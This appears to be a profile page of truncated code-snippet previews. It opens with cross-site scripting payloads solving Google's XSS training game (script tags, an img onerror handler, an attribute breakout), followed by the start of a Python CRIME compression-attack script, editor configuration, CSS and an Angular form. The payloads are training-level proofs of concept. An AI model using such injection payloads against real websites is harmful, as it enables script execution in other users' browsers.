Nir Lanka/Shane nirlanka

Level 1: Hello, world of XSS

query=<script>alert(9)</script>

post-content=<img src='foobar' onerror='alert(9)'>

URL=https://xss-game.appspot.com/level3/frame#1' onerror='alert(9)'>

	{
	// dir:macros --> multiple macro-name.sjs
	// create macros dir if not already in existence
	// create empty sjs
	// concatenate all macros to one macro file
	// apply the macros and
	// run resulting js
	// note: each module must be exported with `export myMacro;` in it's file
	"shell_cmd": "mkdir -p macros; touch ./macros/empty.sjs; cat ./macros/*.sjs > ./macros.sjs; sjs $file --module ./macros.sjs > \\$(basename $file .sjs).js; node \\$(basename $file .sjs).js",
	"selector": ["source.sjs", "source.js"]

	{
	"bold_folder_labels": true,
	"caret_style": "phase",
	"color_scheme": "Packages/Color Scheme - Default/Monokai Bright.tmTheme",
	"fade_fold_buttons": false,
	"font_face": "hanthana",
	"font_size": 9,
	"highlight_line": true,
	"highlight_modified_tabs": true,
	"ignored_packages":

	# This is supposedly what CRIME by Juliano Rizzo and Thai Duong will do
	# Algorithm by Thomas Pornin, coding by xorninja, improved by @kkotowicz
	# http://security.blogoverflow.com/2012/09/how-can-you-protect-yourself-from-crime-beasts-successor/

	import string
	import zlib
	import sys
	import random

	charset = string.letters + string.digits + "%/+="

	#xx-submenu {
	display: none;
	}

	#xx-submenu-trigger:hover + #xx-submenu,
	#xx-submenu:hover {
	display: block;
	position: fixed;
	left: 50px;
	/* NOTE: don't set a top value */

	/*
	----------------------
	NAVBAR
	*/

	/* hide the comsoc logo */
	.comsoc-logo {display: none;}

	#logos {
	/*background-image: url(http://sites.ieee.org/r10-htc-2018/files/2018/02/logo1.png);

	<form #f="ngForm" (ngSubmit)="onSubmit()">
	<input type="text" [(ngModel)]="user.name" required>
	<input type="text" [(ngModel)]="user.email" required>
	<button type="submit"
	[disabled]="!f.valid">Submit!</button>
	</form>